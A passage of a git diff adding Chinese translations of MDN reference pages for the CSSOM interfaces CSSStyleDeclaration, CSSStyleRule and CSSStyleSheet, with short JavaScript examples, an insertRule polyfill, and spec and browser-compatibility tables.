var declaration = document.styleSheets[0].cssRules[0].style;
+var isImportant = declaration.getPropertyPriority('margin') === 'important';
+
+ +

标准

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM', '#dom-cssstyledeclaration-getpropertypriority', 'CSSStyleDeclaration.getPropertyPriority()')}}{{Spec2('CSSOM')}} 
{{SpecName('DOM2 Style', 'css.html#CSS-CSSStyleDeclaration', 'CSSStyleDeclaration')}}{{Spec2('DOM2 Style')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
diff --git a/files/zh-cn/web/api/cssstyledeclaration/getpropertyvalue/index.html b/files/zh-cn/web/api/cssstyledeclaration/getpropertyvalue/index.html new file mode 100644 index 0000000000..c5eff00183 --- /dev/null +++ b/files/zh-cn/web/api/cssstyledeclaration/getpropertyvalue/index.html @@ -0,0 +1,71 @@ +--- +title: CSSStyleDeclaration.getPropertyValue() +slug: Web/API/CSSStyleDeclaration/getPropertyValue +tags: + - CSSOM + - Reference + - getComputedStyle + - getPropertyValue + - setProperty + - 参考 + - 方法 + - 标签 +translation_of: Web/API/CSSStyleDeclaration/getPropertyValue +--- +

{{ APIRef("CSSOM") }}

+ +

CSSStyleDeclaration.getPropertyValue() 接口返回一个 {{domxref('DOMString')}} ,其中包含请求的CSS属性的值。

+ +

语法

+ +
var value = style.getPropertyValue(property);
+ +

参数

+ + + +

返回值

+ + + +

示例

+ +

下述示例使用一个CSS选择器规则查询对应的margin 属性的值:

+ +
var declaration = document.styleSheets[0].cssRules[0].style;
+var value = declaration.getPropertyValue('margin'); // "1px 2px"
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态
{{SpecName('CSSOM', '#dom-cssstyledeclaration-getpropertyvalue', 'CSSStyleDeclaration.getPropertyValue()')}}{{Spec2('CSSOM')}}
{{SpecName('DOM2 Style', 'css.html#CSS-CSSStyleDeclaration', 'CSSStyleDeclaration')}}{{Spec2('DOM2 Style')}}
+ +

浏览器兼容性

+ +

{{Compat("api.CSSStyleDeclaration.getPropertyValue")}}

+ +
diff --git a/files/zh-cn/web/api/cssstyledeclaration/index.html b/files/zh-cn/web/api/cssstyledeclaration/index.html new file mode 100644 index 0000000000..0a8fd0ae45 --- /dev/null +++ b/files/zh-cn/web/api/cssstyledeclaration/index.html @@ -0,0 +1,98 @@ +--- +title: CSSStyleDeclaration +slug: Web/API/CSSStyleDeclaration +tags: + - API + - CSSOM + - 参考 + - 接口 +translation_of: Web/API/CSSStyleDeclaration +--- +

{{ APIRef("CSSOM") }}

+ +

CSSStyleDeclaration 接口表示一个对象,它是一个 CSS 声明块,CSS 属性键值对的集合。它暴露了样式信息和各种与样式相关的方法和属性。

+ +

CSSStyleDeclaration 对象可被暴露于三种不同的 API 下:

+ + + +

属性

+ +
+
{{domxref("CSSStyleDeclaration.cssText")}}
+
当前声明块的文本内容。设置此属性会改变样式。
+
{{domxref("CSSStyleDeclaration.length")}}
+
属性的数量。参照下面的 {{domxref("CSSStyleDeclaration.item()", 'item()')}} 方法。
+
{{domxref("CSSStyleDeclaration.parentRule")}}
+
包含当前声明块的 {{domxref("CssRule")}}。
+
+ +

方法

+ +
+
{{domxref("CSSStyleDeclaration.getPropertyPriority()")}}
+
返回可选的优先级,"important"。
+
{{domxref("CSSStyleDeclaration.getPropertyValue()")}}
+
返回给定属性的值。
+
{{domxref("CSSStyleDeclaration.item()")}}
+
返回用index标记的属性名,当index越界时返回空字符串。
+
另一个可选方案:使用nodeList[i](在i越界时返回 undefined)获取。通常在非JavaScript Dom 实现方案是很有用。
+
{{domxref("CSSStyleDeclaration.removeProperty()")}}
+
从 CSS 声明块中删除属性。
+
{{domxref("CSSStyleDeclaration.setProperty()")}}
+
在CSS声明块中修改现有属性或设置新属性。
+
{{domxref("CSSStyleDeclaration.getPropertyCSSValue()")}} {{obsolete_inline}}
+
仅在火狐浏览器中支持 getComputedStyle. 返回 {{ domxref("CSSPrimitiveValue") }} or null for shorthand properties.
+
+ +

范例

+ +
var styleObj = document.styleSheets[0].cssRules[0].style;
+console.log(styleObj.cssText);
+
+for (var i = styleObj.length; i--;) {
+  var nameString = styleObj[i];
+  styleObj.removeProperty(nameString);
+}
+
+console.log(styleObj.cssText);
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('CSSOM', '#the-cssstyledeclaration-interface', 'CSSStyleDeclaration')}}{{Spec2('CSSOM')}}
{{SpecName('DOM2 Style', 'css.html#CSS-CSSStyleDeclaration', 'CSSStyleDeclaration')}}{{Spec2('DOM2 Style')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.CSSStyleDeclaration")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/cssstyledeclaration/item/index.html b/files/zh-cn/web/api/cssstyledeclaration/item/index.html new file mode 100644 index 0000000000..f3e5350ef9 --- /dev/null +++ b/files/zh-cn/web/api/cssstyledeclaration/item/index.html @@ -0,0 +1,117 @@ +--- +title: CSSStyleDeclaration.item() +slug: Web/API/CSSStyleDeclaration/item +translation_of: Web/API/CSSStyleDeclaration/item +--- +

{{ APIRef("CSSOM") }}

+ +

CSSStyleDeclaration.item() 通过下标从 {{domxref('CSSStyleDeclaration')}} 返回一个 CSS 属性值。只要传入参数这个方法就不会抛出异常; 当传入的下标越界时会返回空字符串,当未传入参数时会抛出一个 TypeError 。

+ +

语法

+ +
var propertyName = style.item(index);
+
+ +

参数

+ + + +

Return value

+ + + +

使用以下的 javascript 语法可以通过索引从 style 的节点列表中获取对应值:

+ +
var propertyName = style[index];
+
+ +

范例

+ +
var style = document.getElementById('div1').style;
+var propertyName = style.item(1); // or simply style[1] - returns the second style listed
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM', '#dom-cssstyledeclaration-item', 'CSSStyleDeclaration.item()')}}{{Spec2('CSSOM')}} 
{{SpecName('DOM2 Style', 'css.html#CSS-CSSStyleDeclaration', 'CSSStyleDeclaration')}}{{Spec2('DOM2 Style')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
diff --git a/files/zh-cn/web/api/cssstyledeclaration/length/index.html b/files/zh-cn/web/api/cssstyledeclaration/length/index.html new file mode 100644 index 0000000000..4075f9f4a4 --- /dev/null +++ b/files/zh-cn/web/api/cssstyledeclaration/length/index.html @@ -0,0 +1,108 @@ +--- +title: CSSStyleDeclaration.length +slug: Web/API/CSSStyleDeclaration/length +translation_of: Web/API/CSSStyleDeclaration/length +--- +

{{ APIRef("CSSOM") }}

+ +

这是一个只读的属性,它返回一个指定元素声明过的样式个数

+ +

语法

+ +
var num = styles.length;
+ +

+ +

指定元素上明确声明过的样式属性个数.

+ +

示例

+ +

获取下面HTML元素明确设置过的属性个数:

+ +
<div id="div1" style="margin: 0 10px; background-color: #CA1; font-family: monospace"></div>
+ +

JavaScript代码:

+ +
var myDiv = document.getElementById('div1'); var divStyle = myDiv.style; var len = divStyle.length; // 6
+ +

说明

+ + + + + + + + + + + + + + + + + + + + + +
描述状态注释
{{SpecName('CSSOM', '#dom-cssstyledeclaration-length', 'CSSStyleDeclaration.length')}}工作草案
{{SpecName('DOM2 Style', 'css.html#CSS-CSSStyleDeclaration', 'CSSStyleDeclaration')}}废弃
+ +

浏览器兼容性

+ +

兼容性列表

+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
特性ChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基础支持{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
基础支持{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
diff --git a/files/zh-cn/web/api/cssstyledeclaration/removeproperty/index.html b/files/zh-cn/web/api/cssstyledeclaration/removeproperty/index.html new file mode 100644 index 0000000000..b4437515b3 --- /dev/null +++ b/files/zh-cn/web/api/cssstyledeclaration/removeproperty/index.html @@ -0,0 +1,125 @@ +--- +title: CSSStyleDeclaration.removeProperty() +slug: Web/API/CSSStyleDeclaration/removeProperty +tags: + - API + - CSSOM + - Method + - Reference +translation_of: Web/API/CSSStyleDeclaration/removeProperty +--- +

{{ APIRef("CSSOM") }}

+ +

CSSStyleDeclaration.removeProperty() 方法移除style对象的一个属性。

+ +

语法

+ +
var oldValue = style.removeProperty(property);
+ +

参数

+ + + +

返回值

+ + + +

异常

+ + + +

例子

+ +

下面的 JavaScript 代码从样式表里移除了 margin 属性:

+ +
var declaration = document.styleSheets[0].rules[0].style;
+var oldValue = declaration.removeProperty('margin');
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM', '#dom-cssstyledeclaration-removeproperty', 'CSSStyleDeclaration.removeProperty()')}}{{Spec2('CSSOM')}} 
{{SpecName('DOM2 Style', 'css.html#CSS-CSSStyleDeclaration', 'CSSStyleDeclaration')}}{{Spec2('DOM2 Style')}} 
+ +

浏览器支持情况

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
diff --git a/files/zh-cn/web/api/cssstyledeclaration/setproperty/index.html b/files/zh-cn/web/api/cssstyledeclaration/setproperty/index.html new file mode 100644 index 0000000000..269faaad26 --- /dev/null +++ b/files/zh-cn/web/api/cssstyledeclaration/setproperty/index.html @@ -0,0 +1,137 @@ +--- +title: CSSStyleDeclaration.setProperty() +slug: Web/API/CSSStyleDeclaration/setProperty +translation_of: Web/API/CSSStyleDeclaration/setProperty +--- +

{{ APIRef("CSSOM") }}

+ +

CSSStyleDeclaration.setProperty() 方法接口为一个声明了CSS样式的对象设置一个新的值 。

+ +

语法

+ +
style.setProperty(propertyName, value, priority);
+ +

参数

+ + + +

返回值

+ + + +

异常

+ + + +

JavaScript 有一个特别的,更简单的在 CSSStyleDeclaration 对象上设置CSS属性值的语法:

+ +
style.cssPropertyName = 'value';
+ +

示例

+ +

下面的Javascript代码为一个选中元素样式的 margin 属性设置一个新的值:

+ +
var declaration = document.styleSheets[0].rules[0].style;
+declaration.setProperty('margin', '1px 2px');
+// Equivalent to:
+// declaration.margin = '1px 2px';
+
+ +

  说明

+ + + + + + + + + + + + + + + + + + + + + +
描述状态注释
{{SpecName('CSSOM', '#dom-cssstyledeclaration-setproperty', 'CSSStyleDeclaration.setProperty()')}}工作草案 
{{SpecName('DOM2 Style', 'css.html#CSS-CSSStyleDeclaration', 'CSSStyleDeclaration')}}被废弃 
+ +

浏览器兼容

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
特性ChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基础支持{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
特性AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
基础支持{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+ +
+

want learn more

+getComputedStyle
+getPropertyValue
+
diff --git a/files/zh-cn/web/api/cssstylerule/index.html b/files/zh-cn/web/api/cssstylerule/index.html new file mode 100644 index 0000000000..9d3c7655a5 --- /dev/null +++ b/files/zh-cn/web/api/cssstylerule/index.html @@ -0,0 +1,54 @@ +--- +title: CSSStyleRule +slug: Web/API/CSSStyleRule +tags: + - API + - CSSOM + - 参考 + - 接口 +translation_of: Web/API/CSSStyleRule +--- +
{{ APIRef("CSSOM") }}
+ +

CSSStyleRule 表示一条 CSS 样式规则。它实现了 {{domxref("CSSRule")}} 接口,类型的值为 1CSSRule.STYLE_RULE)。

+ +

属性

+ +
+
{{domxref("CSSStyleRule.selectorText")}}
+
返回这条规则的、文本格式的选择器,例如 "h1,h2"
+
{{domxref("CSSStyleRule.style")}} {{readonlyinline}}
+
返回这条规则的 {{domxref("CSSStyleDeclaration")}} 对象。
+
{{domxref("CSSStyleRule.styleMap")}} {{readonlyinline}}
+
返回一个 {{domxref('StylePropertyMap')}} 对象,which provides access to the rule's property-value pairs.
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{ SpecName('CSSOM', '#the-cssstylerule-interface', 'CSSStyleRule') }}{{ Spec2('CSSOM') }}No changes
{{ SpecName('DOM2 Style', 'css.html#CSS-CSSStyleRule', 'CSSRule') }}{{ Spec2('DOM2 Style') }}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CSSStyleRule")}}

diff --git a/files/zh-cn/web/api/cssstylerule/selectortext/index.html b/files/zh-cn/web/api/cssstylerule/selectortext/index.html new file mode 100644 index 0000000000..76a9007cd3 --- /dev/null +++ b/files/zh-cn/web/api/cssstylerule/selectortext/index.html @@ -0,0 +1,33 @@ +--- +title: CSSStyleRule.selectorText +slug: Web/API/CSSStyleRule/selectorText +translation_of: Web/API/CSSStyleRule/selectorText +--- +
{{APIRef("CSSOM") }}
+ +

概述

+ +

CSSRule.selectorText 属性返回CSS规则的选择符文本,只读。动态设置CSS规则,请看 Using dynamic styling information.

+ +

语法

+ +
string = cssRule.selectorText
+
+ +

例子

+ +
// for cssrule: body { background-color: darkblue; }
+var stylesheet = document.styleSheets[0];
+
+alert(stylesheet.cssRules[0].selectorText); // body
+
+ +

说明

+ +

浏览器解析选择符的时候可能会剔除不必要的空白字符

+ +

标准

+ + diff --git a/files/zh-cn/web/api/cssstylerule/style/index.html b/files/zh-cn/web/api/cssstylerule/style/index.html new file mode 100644 index 0000000000..def2974719 --- /dev/null +++ b/files/zh-cn/web/api/cssstylerule/style/index.html @@ -0,0 +1,43 @@ +--- +title: style +slug: Web/API/CSSStyleRule/style +translation_of: Web/API/CSSStyleRule/style +--- +

{{ ApiRef() }}

+ +

概述

+ +

返回 一个 {{ domxref("CSSStyleDeclaration") }}接口对象,它代表了{{ DOMXref("CSSRule") }}的 declaration block

+ +

语法

+ +
styleObj = cssRule.style
+
+ +

例子

+ +
function stilo() {
+  alert(document.styleSheets[0].cssRules[0].style.cssText);
+}
+// 弹出 "background-color: gray;"
+
+ +

备注

+ +

declaration block是样式规则中花括号内的部分(选择器就在花括号的外部)

+ +

相关链接

+ + + +

规范

+ +

DOM Level 2 CSS: style

+ +

{{ languages( {"en": "en/DOM/CSSStyleRule/style" } ) }}

+ +

浏览器兼容性

+ +

{{Compat("api.CSSStyleRule.style")}}

diff --git a/files/zh-cn/web/api/cssstylesheet/deleterule/index.html b/files/zh-cn/web/api/cssstylesheet/deleterule/index.html new file mode 100644 index 0000000000..66346da53f --- /dev/null +++ b/files/zh-cn/web/api/cssstylesheet/deleterule/index.html @@ -0,0 +1,36 @@ +--- +title: CSSStyleSheet.deleteRule() +slug: Web/API/CSSStyleSheet/deleteRule +translation_of: Web/API/CSSStyleSheet/deleteRule +--- +

{{ APIRef("CSSOM") }}

+ +

概述

+ +

deleteRule方法用来从当前样式表对象中删除指定的样式规则.

+ +

语法

+ +
stylesheet.deleteRule(index)
+
+ +

参数

+ + + +

示例

+ +
 myStyles.deleteRule(0);
+
+ +

相关链接

+ + + +

规范

+ +

deleteRule

diff --git a/files/zh-cn/web/api/cssstylesheet/index.html b/files/zh-cn/web/api/cssstylesheet/index.html new file mode 100644 index 0000000000..1252210d3b --- /dev/null +++ b/files/zh-cn/web/api/cssstylesheet/index.html @@ -0,0 +1,181 @@ +--- +title: CSSStyleSheet +slug: Web/API/CSSStyleSheet +tags: + - API + - CSSOM + - CSSOM API + - CSSStyleSheet + - Interface + - Reference + - Stylesheets + - TopicStub +translation_of: Web/API/CSSStyleSheet +--- +

{{ APIRef("CSSOM") }}

+ +

CSSStyleSheet 接口代表一个 CSS 样式表,并允许检查和编辑样式表中的规则列表。它从父类型 {{domxref("StyleSheet")}} 继承属性和方法。

+ +

一个 CSS 样式表包含了一组表示规则的 {{domxref("CSSRule")}} 对象。每条 CSS 规则可以通过与之相关联的对象进行操作,这些规则被包含在 {{domxref("CSSRuleList")}} 内,可以通过样式表的 {{domxref("CSSStyleSheet.cssRules", "cssRules")}} 属性获取。

+ +

例如,{{domxref("CSSStyleRule")}} 对象中的一条规则可能包含这样的样式:

+ +
h1, h2 {
+  font-size: 16pt;
+}
+
+ +

另一条规则可能是一条“@”规则(at-rule),例如  {{cssxref("@import")}} 或 {{cssxref("@media")}} 等等。

+ +

在{{anch("说明")}}部分中查看 CSSStyleSheet 对象的多种获取方式。

+ +

属性

+ +

继承自 {{domxref("StyleSheet")}}。

+ +
+
{{domxref("CSSStyleSheet.cssRules", "cssRules")}} {{ReadOnlyInline}}
+
+

返回一个实时的 {{domxref("CSSRuleList")}},其中包含组成样式表的 {{domxref("CSSRule")}} 对象的一个最新列表。

+ +

这一般用于获取单条规则,如下:

+ +
styleSheet.cssRules[i] // where i = 0..cssRules.length-1
+ +

使用CSSStyleSheet 的 {{domxref("CSSStyleSheet.insertRule", "insertRule()")}} 和 {{domxref("CSSStyleSheet.deleteRule", "deleteRule()")}} 方法以在 cssRules 中添加或移除规则。

+
+
{{domxref("CSSStyleSheet.ownerRule", "ownerRule")}} {{ReadOnlyInline}}
+
如果一个样式表示通过{{cssxref("@import")}} 规则引入文档,那么 ownerRule 属性会返回相应的{{domxref("CSSImportRule")}}对象,否则返回 null
+
+ +

方法

+ +

继承自 {{domxref("StyleSheet")}}。

+ +
+
{{domxref("CSSStyleSheet.deleteRule", "deleteRule()")}}
+
从样式表中删除特定位置的一条规则。
+
{{domxref("CSSStyleSheet.insertRule", "insertRule()")}}
+
向样式表的特定位置插入一条新规则,需要提供新规则的完整文本。
+
+ +

遗留属性

+ +

这些遗留属性是很久以前由微软提出的,不应该再使用,但这些属性短期内不会被移除。

+ +
+
{{domxref("CSSStyleSheet.rules", "rules")}} {{ReadOnlyInline}}
+
rules 属性的功能与标准的{{domxref("CSSStyleSheet.cssRules", "cssRules")}}属性相同;它返回一个实时的 {{domxref("CSSRuleList")}}, 其中包含样式表中所有规则的一个最新列表。
+
+ +

遗留方法

+ +

这些遗留方法是很久以前由微软提出的,应尽量避免使用,但这些方法短期内不会被移除。

+ +
+
{{domxref("CSSStyleSheet.addRule", "addRule()")}}
+
+

向样式表添加一条新规则,需要提供应用样式的选择器和应用在匹配元素上的样式块。

+ +

这和 {{domxref("CSSStyleSheet.insertRule", "insertRule()")}} 不同,后者只是简单地将整个传入的规则文本当作一个字符串。

+
+
{{domxref("CSSStyleSheet.removeRule", "removeRule()")}}
+
与{{domxref("CSSStyleSheet.deleteRule", "deleteRule()")}}功能相同;从样式表的规则列表的特定位置中移除规则。
+
+ +

说明

+ +

在一些浏览器中,如果一个样式表加载自不同的域,访问 cssRules 属性时会抛出 SecurityError

+ +

一个样式表最多与一个{{domxref("Document")}}链接,即所应用的那个{{domxref("Document")}}(除非{{domxref("StyleSheet.disabled", "disabled")}})。一个特定文档的 CSSStyleSheet 对象列表可用 {{domxref("document.styleSheets")}} 属性获取。一个特定的样式表也可以通过其所在对象(Node 或 CSSImportRule)获取,如果有的话。

+ +

在文档的样式表加载时,一个 CSSStyleSheet 对象由浏览器自动创建并插入至文档的{{domxref("Document.styleSheets")}}列表中。由于样式表列表不能直接修改,我们没有什么有效的手段取手动创建一个新的 CSSStyleSheet 对象(不过Constructable Stylesheet Objects很快会来到web平台,而且Blink早已支持)。需要创建新的样式表就直接在文档中插入{{HTMLElement("style")}} 或 {{HTMLElement("link")}} 元素吧。

+ +

以下是将样式表链接到文档的一些方式(可能不完整):

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
样式表与文档链接的原因是否出现在document.
+ styleSheets
 列表中
获取样式表对象所在的元素/规则所在对象的接口从所在对象获取CSSStyleSheet对象
文档中的{{HTMLElement("style")}} 和{{HTMLElement("link")}} 元素{{domxref("StyleSheet.ownerNode", ".ownerNode")}}{{domxref("HTMLLinkElement")}},
+ {{domxref("HTMLStyleElement")}},
+ 或 {{domxref("SVGStyleElement")}}
{{domxref("LinkStyle.sheet", ".sheet")}}
使用CSS {{cssxref("@import")}} 从其他样式表导入并应用到文档的规则{{domxref("CSSStyleSheet.ownerRule", ".ownerRule")}}{{domxref("CSSImportRule")}}{{domxref("CSSImportRule.styleSheet", ".styleSheet")}}
<?xml-stylesheet ?> processing instruction in the (non-HTML) document{{domxref("StyleSheet.ownerNode", ".ownerNode")}}{{domxref("ProcessingInstruction")}}{{domxref("LinkStyle.sheet", ".sheet")}}
HTTP链接头部N/AN/AN/A
用户代理(默认)样式表N/AN/AN/A
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("CSSOM", "#cssstylesheet", 'CSSStyleSheet')}}{{Spec2("CSSOM")}}
{{SpecName("DOM2 Style", "css.html#CSS-CSSStyleSheet", "CSSStyleSheet")}}{{Spec2("DOM2 Style")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.CSSStyleSheet")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/cssstylesheet/insertrule/index.html b/files/zh-cn/web/api/cssstylesheet/insertrule/index.html new file mode 100644 index 0000000000..a46b91f5cc --- /dev/null +++ b/files/zh-cn/web/api/cssstylesheet/insertrule/index.html @@ -0,0 +1,206 @@ +--- +title: CSSStyleSheet.insertRule() +slug: Web/API/CSSStyleSheet/insertRule +tags: + - API + - CSSOM + - CSSStyleSheet +translation_of: Web/API/CSSStyleSheet/insertRule +--- +
+

{{ APIRef("CSSOM") }}

+
+ +

CSSStyleSheet.insertRule() 方法用来给当前样式表插入新的样式规则(CSS rule),并且包含一些限制

+ +
+

注意:尽管 insertRule() 是 {{domxref("CSSStyleSheet")}} 的一个方法,但它实际插入的地方是 {{domxref("CSSStyleSheet", "", "", "1")}}.cssRules 的内部 {{domxref("CSSRuleList")}}。

+
+ +

语法

+ +
stylesheet.insertRule(rule [, index])
+ +

参数

+ +
+
rule
+
+

一个包含了将要插入的规则的 {{domxref("DOMString")}}。规则字符串必须包含的内容取决于它的类型:

+ +
    +
  • rule-sets 类型(普通带有选择器的规则)需要选择器和样式声明;
  • +
  • at-rules 类型(以 @ 开头的规则,如 @import, @media 等)需要 at-identifier 和规则内容。
  • +
+
+
index {{optional_inline}}
+
一个小于或等于 stylesheet.cssRules.length 的正整数,表示新插入的规则在{{domxref("CSSStyleSheet", "", "", "1")}}.cssRules 中的位置。默认值是 0。(在过去的实现中,这个参数是必需的,详情参见浏览器兼容性。)
+
+ +

返回值

+ +

新插入的规则在当前样式表规则列表中的索引。

+ +

限制

+ +

CSS 中存在一些直观和不是太直观能感受到的限制规则影响着某些样式规则能否被插入。违反这些规则可能会导致一些 DOM 异常({{domxref("DOMException")}})。

+ + + +

示例

+ +

在样式表顶部插入新的规则

+ +

下面的代码片段将在样式表 myStyle 的顶部插入一条新规则:

+ +
 myStyle.insertRule("#blanc { color: white }", 0);
+
+ +

实现一个添加样式表规则的函数

+ +
/**
+ * 在文档中添加一条样式表规则(这可能是动态改变 class 名的更好的实现方法,
+ * 使得 style 样式内容可以保留在真正的样式表中,以斌面添加额外的元素到 DOM 中)。
+ * 注意这里有必要声明一个数组,因为 ECMAScript 不保证对象按预想的顺序遍历,
+ * 并且 CSS 也是依赖于顺序的。
+ * 类型为数组的参数 decls 接受一个 JSON 编译的数组。
+ * @example
+addStylesheetRules([
+  ['h2', // 还接受第二个参数作为数组中的数组
+    ['color', 'red'],
+    ['background-color', 'green', true] // 'true' for !important rules
+  ],
+  ['.myClass',
+    ['background-color', 'yellow']
+  ]
+]);
+ */
+function addStylesheetRules (decls) {
+    var style = document.createElement('style');
+    document.getElementsByTagName('head')[0].appendChild(style);
+    if (!window.createPopup) { /* For Safari */
+       style.appendChild(document.createTextNode(''));
+    }
+    var s = document.styleSheets[document.styleSheets.length - 1];
+    for (var i=0, dl = decls.length; i < dl; i++) {
+        var j = 1, decl = decls[i], selector = decl[0], rulesStr = '';
+        if (Object.prototype.toString.call(decl[1][0]) === '[object Array]') {
+            decl = decl[1];
+            j = 0;
+        }
+        for (var rl=decl.length; j < rl; j++) {
+            var rule = decl[j];
+            rulesStr += rule[0] + ':' + rule[1] + (rule[2] ? ' !important' : '') + ';\n';
+        }
+
+        if (s.insertRule) {
+            s.insertRule(selector + '{' + rulesStr + '}', s.cssRules.length);
+        }
+        else { /* IE */
+            s.addRule(selector, rulesStr, -1);
+        }
+    }
+}
+ +

兼容补丁

+ +

以下补丁将会在 IE 5-8 中纠正提供给 insertRule() 的参数,使其标准化。to standardize them in Internet Explorer 5–8. 它通过一个函数对 insertRule() 进行补充,使得在参数传递给原生的 insertRule() 函数之前将其中的选择器从规则中分离出来。

+ +
(function(Sheet_proto){
+  var originalInsertRule = Sheet_proto.insertRule;
+
+  if (originalInsertRule.length === 2){ // 2 个托管参数: (selector, rules)
+    Sheet_proto.insertRule = function(selectorAndRule){
+      // 首先,从规则中分离选择器
+      a: for (var i=0, Len=selectorAndRule.length, isEscaped=0, newCharCode=0; i !== Len; ++i) {
+        newCharCode = selectorAndRule.charCodeAt(i);
+        if (!isEscaped && (newCharCode === 123)) { // 123 = "{".charCodeAt(0)
+          // 其次,找到花括号
+          var openBracketPos = i, closeBracketPos = -1;
+
+          for (; i !== Len; ++i) {
+            newCharCode = selectorAndRule.charCodeAt(i);
+            if (!isEscaped && (newCharCode === 125)) { // 125 = "}".charCodeAt(0)
+              closeBracketPos = i;
+            }
+            isEscaped ^= newCharCode===92?1:isEscaped; // 92 = "\\".charCodeAt(0)
+          }
+
+          if (closeBracketPos === -1) break a; // No closing bracket was found!
+            /*else*/ return originalInsertRule.call(
+            this, // 想要改变的样式表
+            selectorAndRule.substring(0, openBracketPos), // 选择器
+            selectorAndRule.substring(closeBracketPos), // 规则
+            arguments[3] // 插入的索引
+          );
+        }
+
+        // Works by if the char code is a backslash, then isEscaped
+        // gets flipped (XOR-ed by 1), and if it is not a backslash
+        // then isEscaped gets XORed by itself, zeroing it
+        isEscaped ^= newCharCode===92?1:isEscaped; // 92 = "\\".charCodeAt(0)
+      }
+      // Else, there is no unescaped bracket
+      return originalInsertRule.call(this, selectorAndRule, "", arguments[2]);
+    };
+  }
+})(CSSStyleSheet.prototype);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM', '#dom-cssstylesheet-insertrule', 'CSSStyleSheet.insertRule')}}{{Spec2('CSSOM')}}No change from {{SpecName('DOM2 Style')}}.
{{SpecName('DOM2 Style', 'css.html#CSS-CSSStyleSheet-insertRule', 'CSSStyleSheet.insertRule')}}{{Spec2('DOM2 Style')}}Initial definition
+ +

+ +

浏览器兼容性

+ + + +

{{Compat("api.CSSStyleSheet.insertRule")}}

+ +

传统浏览器支持

+ +

为了支持 Internet Explorer 8 和更早版本,请使用: addRule(selector, rule [, index]);。例如:addRule('pre', 'font: 14px verdana'); // add rule at end

+ +

另外注意非标准的 removeRule() 和 .rules 方法分别用 {{domxref("CSSStyleSheet.deleteRule","deleteRule()")}} 和{{domxref("CSSStyleSheet",".cssRules")}} 代替。

+ +

相关链接

+ + + +

+ +

